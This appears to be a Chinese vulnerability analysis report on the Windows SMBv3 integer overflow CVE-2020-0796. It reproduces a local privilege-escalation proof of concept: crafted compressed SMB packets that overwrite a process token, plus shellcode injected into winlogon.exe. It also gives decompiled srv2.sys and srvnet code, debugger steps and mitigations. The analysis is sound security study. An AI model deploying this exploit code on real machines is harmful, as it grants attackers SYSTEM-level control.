微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
该POC用来恶意提权,虽然该漏洞发生在远程数据传输,但是该POC是本地运行的恶意提权软件。实质上还是需要构造数据包,发生到服务器,但是这里客户端和服务器都是同一台机器。之所以POC需要这样构造 ,是因为利用该漏洞我们可以实现向任意区域写任意数据,但由于地址随机化,我们在客户端很难获取想要写入的服务器地址。
本次分析的环境是cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c
,关闭更新。
https://github.com/danigargu/CVE-2020-079
如图所示,运行该可执行程序后,最终弹出具有管理员权限的cmd.exe
。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TM59pHAv-1590634234535)(CVE-2020-0796 漏洞分析报告.assets/smb_header.png)]
静态分析部分包括利用IDA静态分析漏洞所在驱动(srv2.sys)和分析POC代码。
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
printf("socket() failed with error: %d\n", WSAGetLastError());
WSACleanup();
return EXIT_FAILURE;
}
sockaddr_in client;
client.sin_family = AF_INET;
client.sin_port = htons(445);
InetPton(AF_INET, "127.0.0.1", &client.sin_addr);
如代码段所示,该程序构造socket用于发生SMB数据包,且目的地址为本机。
ktoken = get_process_token();//自定义函数
if (ktoken == -1) {
printf("Couldn't leak ktoken of current process...\n");
return EXIT_FAILURE;
}
ULONG64 get_process_token() {
HANDLE token;
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (proc == INVALID_HANDLE_VALUE)
return 0;
//参数分别为 1:要修改访问权限的进程句柄 2:要对令牌进行何种操作 3:返回的访问令牌指针
OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);
ULONG64 ktoken = get_handle_addr(token);
return ktoken;
}
memset(buffer, 'A', 0x1108);
*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40;
经过查询,ktoken + 0x40对应的字段是SEP_TOKEN_PRIVILEGES,可以通过修改该字段提权。
将构造的数据进行压缩。
err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,
compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);
if (err != STATUS_SUCCESS) {
printf("RtlCompressBuffer() failed with error: %#x\n", err);
free(lpWorkSpace);
return error_exit(sock, NULL);
}
if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
return error_exit(sock, "send()");
}
int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
int err = 0;
char response[8] = { 0 };
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};
uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);
if (packet == NULL) {
printf("Couldn't allocate memory with malloc()\n");
return error_exit(sock, NULL);
}
memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, buffer, len);
if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
recv(sock, response, sizeof(response), 0);
}
free(packet);
return err;
}
如send_compressed
函数所示,SMB Header构造中original decompressed size(原始未压缩数据的长度)设置的值很大,与真实值不等,这就是造成溢出的地方。发送的SMB数据包包括未压缩数据(data_1)和压缩数据(data_2)。data1_1的数据长度字段为offset(0x10)。
已经将当前进程提权,再通过注入常规的shellcode
到windows进程winlogon.exe
中执行任意代码,这里是开启cmd。
void inject(void) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
uint8_t shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54,
0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,
0xff, 0xc2, // inc edx (1 = SW_SHOW)
0xFF, 0xD7, 0x48, 0x83, 0xC4,
0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00
};
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int pid = -1;
//1. 寻找 winlogon.exe
if (Process32First(snapshot, &entry) == TRUE) {
while (Process32Next(snapshot, &entry) == TRUE) {
if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
if (pid < 0) {
printf("Could not find process\n");
return;
}
printf("Injecting shellcode in winlogon...\n");
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProc == NULL) {
printf("Could not open process\n");
return;
}
LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpMem == NULL) {
printf("Remote allocation failed\n");
return;
}
//2. 将shellcode插入到winlogon.exe
if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) {
printf("Remote write failed\n");
return;
}
if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {
printf("CreateRemoteThread failed\n");
return;
}
printf("Success! ;)\n");
}
通过网上该漏洞的介绍,了解到漏洞发生的位置在Windows驱动srv2.sys中,且存在于解压相关函数中,通过IDA加载srv2.sys以及对应的符号文件进行分析。
signed __int64 __fastcall Srv2DecompressData(__int64 smb_packet)
{
__int64 smb_packet_n; // rdi@1
__int64 smb_header_n; // rax@1
__m128i v3; // xmm0@2
__m128i v4; // xmm0@2
unsigned int v5; // ebp@2
__int64 v7; // rax@4
__int64 v8; // rbx@4
int v9; // eax@7
__m128i Size; // [sp+30h] [bp-28h]@2
int v11; // [sp+60h] [bp+8h]@1
v11 = 0;
smb_packet_n = smb_packet
smb_header_n = *(_QWORD *)(smb_packet + 240);
if ( *(_DWORD *)(smb_header + 36) < 0x10u )
return 3221227787i64;
v3 = *(__m128i *)*(_QWORD *)(smb_header_n + 24);//根据SMB header,v3对应offset字段
Size = v3;
v4 = _mm_srli_si128(v3, 8);
v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 80) + 496i64) + 140i64);
if ( v5 != v4.m128i_u16[0] )
return 3221225659i64;
LODWORD(v7) = SrvNetAllocateBuffer((unsigned int)(Size.m128i_i32[1] + v4.m128i_i32[1]), 0i64);
v8 = v7;
if ( !v7 )
return 3221225626i64;
if ( SmbCompressionDecompress(
v5,
*(_QWORD *)(*(_QWORD *)(smb_packet_n + 240)+24i64)+(unsigned int)Size.m128i_u32[3] + 16i64, (unsigned int)(*(_DWORD *)(*(_QWORD *)(smb_packet_n + 240) + 36i64) - Size.m128i_i32[3] - 16),
(unsigned int)Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18)) < 0
|| (v9 = 0, 0 != Size.m128i_i32[1]) )
{
SrvNetFreeBuffer(v8);
return 3221227787i64;
}
if ( Size.m128i_i32[3] )
{
memmove(*(void **)(v8 + 24), (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet_n + 240) + 24i64) + 16i64), Size.m128i_u32[3]);
v9 = 0;
}
*(_DWORD *)(v8 + 36) = Size.m128i_i32[3] + v9;
Srv2ReplaceReceiveBuffer(smb_packet_n, v8);
return 0i64;
}
如上代码所示,漏洞产生的原因就在第25行,当前函数调用SrvNetAllocateBuffer
函数给SMB数据包分配内存,但是传入的参数是压缩数据与未压缩数据长度之和,这个长度可能发生溢出,但是这里并没有进行溢出判断。在之前的POC中,正是利用这一点,传入一个较大的长度触发整数溢出。
PSLIST_ENTRY __usercall SrvNetAllocateBuffer@(__int64 a1@, __int64 a2@, unsigned __int64 a3@)
{
int v3; // ebp@1
unsigned int v4; // esi@1
__int64 v5; // r14@1
signed __int16 v6; // di@1
__int64 v7; // rcx@4
int v8; // eax@4
__int64 v9; // rdx@6
__int64 v10; // rax@6
__int64 v11; // rdi@6
PSLIST_ENTRY v12; // rbx@8
__int64 v13; // rax@9
struct __declspec(align(16)) _SLIST_ENTRY *v14; // rax@9
unsigned __int64 v16; // rcx@16
unsigned int v17; // eax@18
void *v18; // rcx@20
__int16 v19; // ax@20
struct __declspec(align(16)) _SLIST_ENTRY *v20; // rax@24
v3 = *MK_FP(__GS__, 420i64);
v4 = 0;
v5 = a2;
v6 = 0;
if ( SrvDisableNetBufferLookAsideList || a3 > 0x100100 )
{
if ( a3 > 0x1000100 )
return 0i64;
LODWORD(v20) = SrvNetAllocateBufferFromPool(a3, a3);
v12 = v20;
}
else
{
if ( a3 > 0x1100 )
{
v16 = a3 - 256;
_BitScanReverse64((unsigned __int64 *)&a2, v16);
_BitScanForward64((unsigned __int64 *)&a1, v16);
if ( (_DWORD)a2 == (_DWORD)a1 )
v4 = a2 - 12;
else
v4 = a2 - 11;
}
v7 = SrvNetBufferLookasides[(unsigned __int64)v4];
v8 = *(_DWORD *)v7 - 1;
if ( (unsigned int)(unsigned __int16)v3 + 1 < *(_DWORD *)v7 )
v8 = (unsigned __int16)v3 + 1;
v9 = (unsigned int)v8;
v10 = *(_QWORD *)(v7 + 32);
v11 = *(_QWORD *)(v10 + 8 * v9);
if ( !*(_BYTE *)(v11 + 112) )
PplpLazyInitializeLookasideList(v7, *(_QWORD *)(v10 + 8 * v9));
++*(_DWORD *)(v11 + 20);
v12 = ExpInterlockedPopEntrySList((PSLIST_HEADER)v11);
if ( !v12 )
{
++*(_DWORD *)(v11 + 24);
v13 = *(_QWORD *)(v11 + 48);
LODWORD(v14) = _guard_dispatch_icall_fptr(
*(_DWORD *)(v11 + 36),
*(_DWORD *)(v11 + 44),
*(_DWORD *)(v11 + 40),
v11);
v12 = v14;
}
v6 = 2;
}
if ( v12 )
{
LOWORD(v12[1].Next) |= v6;
WORD1(v12[1].Next) = v4;
WORD2(v12[1].Next) = v3;
if ( v5 )
{
v17 = *(_DWORD *)(v5 + 36);
if ( v17 >= LODWORD(v12[2].Next) )
v17 = (unsigned int)v12[2].Next;
v18 = (void *)*((_QWORD *)&v12[1].Next + 1);
HIDWORD(v12[2].Next) = v17;
memmove(v18, *(const void **)(v5 + 24), v17);
v19 = *(_WORD *)(v5 + 22);
if ( v19 )
{
WORD3(v12[1].Next) = v19;
memmove((char *)&v12[6].Next + 4, (const void *)(v5 + 100), 16i64 * *(_WORD *)(v5 + 22));
}
}
else
{
HIDWORD(v12[2].Next) = 0;
}
}
return v12;
}
srvnet!SrvNetAllocateBuffer
中,对于传入的大小做了判断(34行-44行),小于0x1100
(POC为0xf)的时候将会传入固定的值0x1100
作为后面结构体空间的内存分配值进行相应运算。SrvNetBufferLookasides
是一个数组,值分别为[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]。SrvNetBufferLookasides
数组通过函数SrvNetCreateBufferLookasides
初始化,实际SrvNetCreateBufferLookasides
循环调用了SrvNetBufferLookasideAllocate
分配内存。
unsigned __int64 __fastcall SrvNetBufferLookasideAllocate(__int64 a1, __int64 a2)
{
return SrvNetAllocateBufferFromPool(a1, a2);
}
SrvNetBufferLookasideAllocate
函数实际是调用SrvNetAllocateBufferFromPool
来分配内存。
unsigned __int64 __fastcall SrvNetAllocateBufferFromPool(__int64 a1, unsigned __int64 a2)
{
unsigned int v2; // esi@1
unsigned __int64 v3; // rdi@4
SIZE_T v4; // rax@5
unsigned __int64 v5; // rbp@5
signed __int64 v6; // rax@6
unsigned __int64 v7; // rbx@7
char *v8; // rdx@10
signed __int32 v9; // ecx@11
signed __int64 v10; // r9@13
unsigned __int64 v11; // rdi@13
unsigned __int64 v12; // r8@13
int v13; // edx@13
__int64 v14; // r9@13
unsigned __int64 v15; // rdx@13
signed __int64 v16; // r8@13
unsigned __int64 result; // rax@13
v2 = a2;
if ( a2 > 0xFFFFFFFF )
return 0i64;
if ( (unsigned int)a2 >= 0xFFFFFFFFFFFFFFB0ui64 )
return 0i64;
if ( (unsigned __int64)(unsigned int)a2 + 88 < (unsigned __int64)(unsigned int)a2 + 80 )
return 0i64;
v3 = (unsigned int)a2 + 232i64;
if ( v3 < (unsigned __int64)(unsigned int)a2 + 88 )
return 0i64;
v4 = MmSizeOfMdl(0i64, (unsigned int)a2 + 232i64);
v5 = v4 + 8;
if ( v4 + 8 < v4 )
return 0i64;
v6 = 2 * v5;
if ( !is_mul_ok(2ui64, v5) )
return 0i64;
v7 = v6 + v3;
if ( v6 + v3 < v3 )
return 0i64;
if ( v7 < 0x1000 )
{
v7 = 4096i64;
}
else if ( v7 > 0xFFFFFFFF )
{
return 0i64;
}
v8 = (char *)ExAllocatePoolWithTag((POOL_TYPE)512, v7, 0x3030534Cu);
if ( !v8 )
{
_InterlockedIncrement((volatile signed __int32 *)&unk_1C002DEB8);
return 0i64;
}
v9 = v7 + _InterlockedExchangeAdd((volatile signed __int32 *)&unk_1C002DEB4, v7);
if ( (signed int)v7 > 0 )
{
while ( v9 > dword_1C002DEBC && _InterlockedCompareExchange(&dword_1C002DEBC, v9, dword_1C002DEBC) != v9 )
;
}
v10 = (signed __int64)(v8 + 80);
v11 = (unsigned __int64)&v8[v2 + 0x57] & 0xFFFFFFFFFFFFFFF8ui64;
*(_QWORD *)(v11 + 48) = v8;
*(_QWORD *)(v11 + 80) = (v11 + v5 + 151) & 0xFFFFFFFFFFFFFFF8ui64;
v12 = (v11 + 151) & 0xFFFFFFFFFFFFFFF8ui64;
*(_QWORD *)(v11 + 0x18) = v8 + 0x50;
*(_QWORD *)(v11 + 56) = v12;
*(_WORD *)(v11 + 16) = 0;
*(_WORD *)(v11 + 22) = 0;
*(_DWORD *)(v11 + 32) = v2;
*(_DWORD *)(v11 + 36) = 0;
v13 = ((_WORD)v8 + 80) & 0xFFF;
*(_DWORD *)(v11 + 40) = v7;
*(_DWORD *)(v11 + 64) = 0;
*(_QWORD *)(v11 + 72) = 0i64;
*(_QWORD *)(v11 + 88) = 0i64;
*(_DWORD *)(v11 + 96) = 0;
*(_QWORD *)v12 = 0i64;
*(_WORD *)(v12 + 8) = 8 * ((((unsigned __int16)v13 + (unsigned __int64)v2 + 4095) >> 12) + 6);
*(_WORD *)(v12 + 10) = 0;
*(_QWORD *)(v12 + 32) = v10 & 0xFFFFFFFFFFFFF000ui64;
*(_DWORD *)(v12 + 44) = v13;
*(_DWORD *)(v12 + 40) = v2;
MmBuildMdlForNonPagedPool(*(PMDL *)(v11 + 56));
MmMdlPageContentsState(*(_QWORD *)(v11 + 56), 1i64);
*(_WORD *)(*(_QWORD *)(v11 + 56) + 10i64) |= 0x1000u;
v14 = *(_QWORD *)(v11 + 80);
v15 = *(_QWORD *)(v11 + 24) & 0xFFFFFFFFFFFFF000ui64;
v16 = *(_QWORD *)(v11 + 24) & 0xFFFi64;
result = v11;
*(_QWORD *)v14 = 0i64;
*(_WORD *)(v14 + 8) = 8 * (((v16 + (unsigned __int64)v2 + 4095) >> 12) + 6);
*(_WORD *)(v14 + 10) = 0;
*(_QWORD *)(v14 + 32) = v15;
*(_DWORD *)(v14 + 44) = v16;
*(_DWORD *)(v14 + 40) = v2;
*(_WORD *)(*(_QWORD *)(v11 + 80) + 10i64) |= 4u;
return result;
}
如48行所示,在函数SrvNetAllocateBufferFromPool
中,对于用户请求的内存分配大小,内部通过ExAllocatePoolWithTag
函数分配的内存实际要大于请求值(多出部分用于存储部分内存相关数据结构)。ExAllocatePoolWithTag
函数的返回值为v8
(指向分配内存的地址)。
如61行所示,v11 (return_buffer)
指向一个内存数据结构,该内存数据结构起始地址同实际分配内存(函数ExAllocatePoolWithTag
分配的内存)起始地址的的偏移为0x1150
;
如65行所示,v11+0x18
位置指向了实际分配内存起始地址偏移0x50
位置处,而最终return_buffer
会作为函数SrvNetAllocateBuffer
的返回值。
最终return_buffer
会作为函数SrvNetAllocateBuffer
的返回值。
Srv2DecompressData (29行)
SmbCompressionDecompress(v5,*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + (unsigned
int)Size.m128i_u32[3] + 16i64,(unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - Size.m128i_i32[3] - 16),(unsigned int)Size.m128i_u32[3] + *(_QWORD *)(v7
+ 24))
在进行内存分配之后,Srv2DecompressData
调用函数SmbCompressionDecompress
开始解压被压缩的数据。
__int64 __fastcall SmbCompressionDecompress(int a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int *a6)
{
PVOID v6; // rdi@1
__int64 v7; // r14@1
__int64 v8; // r15@1
int v9; // ebx@2
int v10; // ecx@3
int v11; // ecx@4
signed __int16 v12; // bx@6
unsigned int *v13; // rsi@12
unsigned int v14; // ebp@12
int v16; // [sp+40h] [bp-28h]@1
SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1
v16 = 0;
v6 = 0i64;
LODWORD(NumberOfBytes) = 0;
v7 = a4;
v8 = a2;
if ( !a1 )
goto LABEL_2;
v10 = a1 - 1;
if ( v10 )
{
v11 = v10 - 1;
if ( v11 )
{
if ( v11 != 1 )
LABEL_2:
return (unsigned int)-1073741637;
v12 = 4;
}
else
{
v12 = 3;
}
}
else
{
v12 = 2;
}
if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0
|| (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 )
{
v13 = a6;
v14 = a5;
v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, a5, v8);
if ( v9 >= 0 )
*v13 = v14;
if ( v6 )
ExFreePoolWithTag(v6, 0x2532534Cu);
}
else
{
v9 = -1073741670;
}
return (unsigned int)v9;
}
如47行所示,该函数调用了Windows库函数RtlDecompressBufferEx2
来实现解压,根据RtlDecompressBufferEx2
的函数原型来对应分析SmbCompressionDecompress
函数的各个参数。
在解压压缩数据时,将压缩数据解压后放入(return_buffer+0x18)+0x10
处,也就是0x60
处,但是由于分配的user_buf区域小于压缩数据长度,导致数据溢出到memory manage struct
。
上图是根据POC构造的SMB数据所画,最终(return_buffer+0x18)
所指向的地址被修改,指向的地址变为token_40_addr
。
如 Srv2DecompressData(41行)所示:
if ( Size.m128i_i32[3] )
{
memmove(*(void **)(v8 + 0x18), (const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64), Size.m128i_u32[3]);
v9 = 0;
}
解压压缩数据完成后,判断offset字段是否为0,不为0则将未压缩数据复制到(return_buffer+0x18)
处,但是由于(return_buffer+0x18)
被修改,导致数据写入了别的地址,最终实现的效果就是修改了权限字段的值,到达提权的效果。
静态调试部分已经弄清楚漏洞如何被利用,动态调试部分只是查看静态分析过程中的一些特殊的值,只是进行简单的分析。
bp srv2!Srv2DecompressData
如上图所示,在设置断点之后,单步执行到调用SrvNetAllocateBuffer
之前的几条汇编指令,并查看寄存器的值。rcx
的值就是整数加法溢出后的结果。
如上图所示,在srvnet!SrvNetAllocateBufferFromPool
设置断点,调用nt!ExAllocatePoolWithTag
前查看寄存器的值。rdx
即是SMB解压过程中实际分配的大小,比0x1100大一些是需要存储memory manage struct
操作步骤:设置->更新和安全->Windows更新,点击“检查更新”。
运行regedit.exe
,打开注册表编辑器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\ Parameters
建立一个名为DisableCompression的DWORD
,值为1,禁止SMB的压缩功能。
https://paper.seebug.org/1164/#0x05
https://www.cnblogs.com/A66666/p/29635a243378b49ccb485c7a280df989.html
https://paper.seebug.org/1168/#_7